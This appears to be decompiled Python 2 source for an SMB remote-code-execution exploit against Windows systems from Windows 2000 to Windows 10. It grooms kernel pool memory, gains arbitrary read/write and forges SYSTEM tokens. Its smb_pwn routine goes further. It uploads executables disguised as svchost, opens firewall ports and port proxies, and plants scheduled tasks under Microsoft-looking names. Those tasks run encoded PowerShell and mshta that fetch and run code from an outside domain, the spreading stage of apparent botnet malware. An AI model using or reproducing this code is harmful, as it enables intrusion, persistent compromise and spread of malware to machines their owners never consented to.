HEAP_HDR_SIZE = 8
def calc_alloc_size(size, align_size):
return size + align_size - 1 & ~(align_size - 1)
def wait_for_request_processed(conn):
conn.send_echo('a')
def find_named_pipe(conn):
pipes = ['browser', 'spoolss', 'netlogon', 'lsarpc', 'samr']
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
break
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid
global special_mid
special_mid = (conn.next_mid() & 65280) - 256
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
GROOM_TRANS_SIZE = 20496
def leak_frag_size(conn, tid, fid):
info = {}
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A' * 4304, maxParameterCount=GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B' * 276)
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:] + req2)
leakData = conn.recv_transaction_data(mid, 4580)
leakData = leakData[4308:]
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
print 'Target is 32 bit'
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[X86_INFO['FRAG_TAG_OFFSET'] - 2]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
print 'Target is 64 bit'
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[X64_INFO['FRAG_TAG_OFFSET'] - 2]) * X64_INFO['POOL_ALIGN']
else:
print 'Not found Frag pool tag in leak data'
print ('Got frag size: 0x{:x}').format(info['FRAG_POOL_SIZE'])
return info
def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
new_data = pack('<' + fmt * 3, info['trans2_addr'] + info['TRANS_FLINK_OFFSET'], info['trans2_addr'] + 512, read_addr)
new_data += pack('<II', 0, 0)
new_data += pack('<III', 8, 8, 8)
new_data += pack('<III', read_size, read_size, read_size)
new_data += pack('<HH', 0, 5)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=17120, totalParameterCount=4096)
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8 + read_size)
info['trans2_addr'] = unpack_from('<' + fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<' + fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
return read_data[8:]
def write_data(conn, info, write_addr, write_data):
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<' + info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
trans_param = pack('<HH', fid, 0)
for i in range(numFill):
conn.send_nt_trans(5, param=trans_param, totalDataCount=4304, maxParameterCount=GROOM_TRANS_SIZE - 4304)
mid_ntrename = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A' * 4304, maxParameterCount=info['GROOM_DATA_SIZE'] - 4304)
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B' * 276)
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE'] - 4096, maxParameterCount=4096)
reqs = []
for i in range(12):
mid = next_extra_mid()
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE'] - 512, totalParameterCount=512, maxDataCount=0, maxParameterCount=0))
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:] + req2 + req3 + ('').join(reqs))
leakData = conn.recv_transaction_data(mid_ntrename, 4580)
leakData = leakData[4308:]
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET'] + 4] != 'Frag':
print 'Not found Frag pool tag in leak data'
return None
leakData = leakData[info['FRAG_TAG_OFFSET'] - 4 + info['FRAG_POOL_SIZE']:]
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
if leakData[4:8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN'] + 2] != expected_size or leakData[leakTransOffset + 2:leakTransOffset + 4] != expected_size:
print 'No transaction struct in leak data'
return None
leakTrans = leakData[leakTransOffset:]
ptrf = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + ptrf * 5, leakTrans, 8)
inparam_value = unpack_from('<' + ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print ('CONNECTION: 0x{:x}').format(connection_addr)
print ('SESSION: 0x{:x}').format(session_addr)
print ('FLINK: 0x{:x}').format(flink_value)
print ('InParam: 0x{:x}').format(inparam_value)
print ('MID: 0x{:x}').format(leak_mid)
next_page_addr = (inparam_value & 18446744073709547520L) + 4096
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
print ('unexpected alignment, diff: 0x{:x}').format(flink_value - next_page_addr)
return None
return {'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': (inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN), 'trans2_addr': (flink_value - info['TRANS_FLINK_OFFSET'])}
def exploit_matched_pairs(conn, pipe_name, info):
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
info.update(OS_ARCH_INFO[info['os']][info['arch']])
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
print ('GROOM_POOL_SIZE: 0x{:x}').format(info['GROOM_POOL_SIZE'])
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
bridePoolSize = 4096 - (info['GROOM_POOL_SIZE'] & 4095) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
print ('BRIDE_TRANS_SIZE: 0x{:x}').format(info['BRIDE_TRANS_SIZE'])
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
leakInfo = None
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
print 'leak failed... try again'
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
shift_indata_byte = 512
conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 4096 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 65538:
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
print '!!! Write to wrong place !!!'
print 'the target might be crashed'
return False
print 'success controlling groom transaction'
print 'modify trans1 struct for arbitrary read/write'
fmt = info['PTR_FMT']
conn.send_nt_trans_secondary(mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 512, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def exploit_fish_barrel(conn, pipe_name, info):
tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
info['fid'] = fid
if info['os'] == 'WIN7' and 'arch' not in info:
info.update(leak_frag_size(conn, tid, fid))
if 'arch' in info:
info.update(OS_ARCH_INFO[info['os']][info['arch']])
attempt_list = [OS_ARCH_INFO[info['os']][info['arch']]]
else:
attempt_list = [
OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86']]
print 'Groom packets'
trans_param = pack('<HH', info['fid'], 0)
for i in range(12):
mid = info['fid'] if i == 8 else next_extra_mid()
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=256 - TRANS_NAME_LEN, totalDataCount=3776, maxParameterCount=64, maxDataCount=0)
shift_indata_byte = 512
conn.do_write_andx_raw_pipe(info['fid'], 'A' * shift_indata_byte)
success = False
for tinfo in attempt_list:
print 'attempt controlling next transaction on ' + tinfo['ARCH']
HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE'] + HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET + tinfo['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
if recvPkt.getNTStatus() == 65538:
print 'success controlling one transaction'
success = True
if 'arch' not in info:
print 'Target is ' + tinfo['ARCH']
info['arch'] = tinfo['ARCH']
info.update(OS_ARCH_INFO[info['os']][info['arch']])
break
if recvPkt.getNTStatus() != 0:
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
if not success:
print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
print '!!! Write to wrong place !!!'
print 'the target might be crashed'
return False
print 'modify parameter count to 0xffffffff to be able to write backward'
conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 4096 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 4294967296L - PREV_TRANS_DISPLACEMENT
conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff\xff\xff\xff', paramDisplacement=PREV_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
conn.send_trans_secondary(mid=info['fid'], data='\x00\x00\x00\x00', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'] + 4)
wait_for_request_processed(conn)
print 'leak next transaction'
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_FUNCTION_OFFSET'])
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 256, 256), dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 256)
leakData = leakData[4:]
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != TRANS_CHUNK_SIZE // info['POOL_ALIGN']:
print 'chunk size is wrong'
return False
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + fmt * 5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<' + fmt * 3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print ('CONNECTION: 0x{:x}').format(connection_addr)
print ('SESSION: 0x{:x}').format(session_addr)
print ('FLINK: 0x{:x}').format(flink_value)
print ('InData: 0x{:x}').format(indata_value)
print ('MID: 0x{:x}').format(trans2_mid)
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print ('TRANS1: 0x{:x}').format(trans1_addr)
print ('TRANS2: 0x{:x}').format(trans2_addr)
print 'modify transaction struct for arbitrary read/write'
TRANS_OFFSET = 4294967296L - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<' + fmt * 3, trans1_addr, trans1_addr + 512, trans2_addr), paramDisplacement=TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xBI', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xBII', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xBI', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xBI', 1, 1, 1, 0)
sids = [SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS]
attrs = [0, 14, 7, 7]
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info['PTR_SIZE'] * 2
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<' + info['PTR_FMT'] * 2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ('').join(sids[:fakeUserAndGroupCount])
return (fakeUserAndGroupCount, fakeUserAndGroups)
def exploit(target, pipe_name, USERNAME, PASSWORD, tg):
conn = MYSMB(target)
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print 'Target OS: ' + server_os
if server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server 2008 R2'):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith('Windows 8') or server_os.startswith('Windows Server 2012 ') or server_os.startswith('Windows Server 2016 ') or server_os.startswith('Windows 10') or server_os.startswith('Windows RT 9200'):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith('Windows Server (R) 2008') or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith('Windows Server 2003 '):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith('Windows 5.1'):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith('Windows XP '):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith('Windows 5.0'):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print 'This exploit does not support this target'
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print 'Not found accessible named pipe'
return False
print 'Using named pipe: ' + pipe_name
if not info['method'](conn, pipe_name, info):
return False
fmt = info['PTR_FMT']
print 'make this SMB session to be SYSTEM'
write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01')
sessionData = read_data(conn, info, info['session'], 256)
secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
print ('current TOKEN addr: 0x{:x}').format(tokenAddr)
tokenData = read_data(conn, info, tokenAddr, 64 * info['PTR_SIZE'])
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
print 'overwriting token UserAndGroups'
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print 'overwriting session security context'
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
try:
smb_pwn(conn, info['arch'], tg)
except:
pass
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
time.sleep(2)
return True
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
userAndGroupsAddr, RestrictedSids = unpack_from('<' + info['PTR_FMT'] * 2, tokenData, userAndGroupsAddrOffset)
success = True
if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
print ('RestrictedSids: 0x{:x}').format(RestrictedSids)
print ('RestrictedSidCount: 0x{:x}').format(RestrictedSidCount)
success = False
print ('userAndGroupCount: 0x{:x}').format(userAndGroupCount)
print ('userAndGroupsAddr: 0x{:x}').format(userAndGroupsAddr)
return (success, userAndGroupCount, userAndGroupsAddr)
def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
if not success:
print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
return (
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset)
def smb_pwn(conn, arch, tg):
ee = ''
eb = 'c:\\windows\\system32\\calc.exe'
smbConn = conn.get_smbconnection()
if os.path.exists('c:/windows/system32/svhost.exe'):
eb = 'c:\\windows\\system32\\svhost.exe'
if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
eb = 'c:\\windows\\SysWOW64\\svhost.exe'
if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
service_exec(conn, 'cmd /c net share c$=c:')
if tg == 2:
smb_send_file(smbConn, eb, 'c', '/installed2.exe')
else:
smb_send_file(smbConn, eb, 'c', '/installed.exe')
if os.path.exists('c:/windows/temp/svvhost.exe'):
ee = 'c:\\windows\\temp\\svvhost.exe'
if os.path.exists('c:/windows/temp/svchost.exe'):
ee = 'c:\\windows\\temp\\svchost.exe'
if '.exe' in ee:
smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
else:
print 'no eb**************************'
if tg == 2:
bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
else:
bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
service_exec(conn, bat)
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
def service_exec(conn, cmd):
import random
random.choice = random.choice
random.randint = random.randint
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ('').join([random.choice(string.letters) for i in range(4)])
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
try:
print 'Opening SVCManager on %s.....' % conn.get_remote_host()
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e
else:
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print 'Creating service %s.....' % service_name
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
try:
print 'Starting service %s.....' % service_name
scmr.hRStartServiceW(rpcsvc, serviceHandle)
time.sleep(2)
print 'Stoping service %s.....' % service_name
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
time.sleep(2)
except Exception as e:
print str(e)
print 'Removing service %s.....' % service_name
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print 'ServiceExec Error on: %s' % conn.get_remote_host()
print str(e)
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
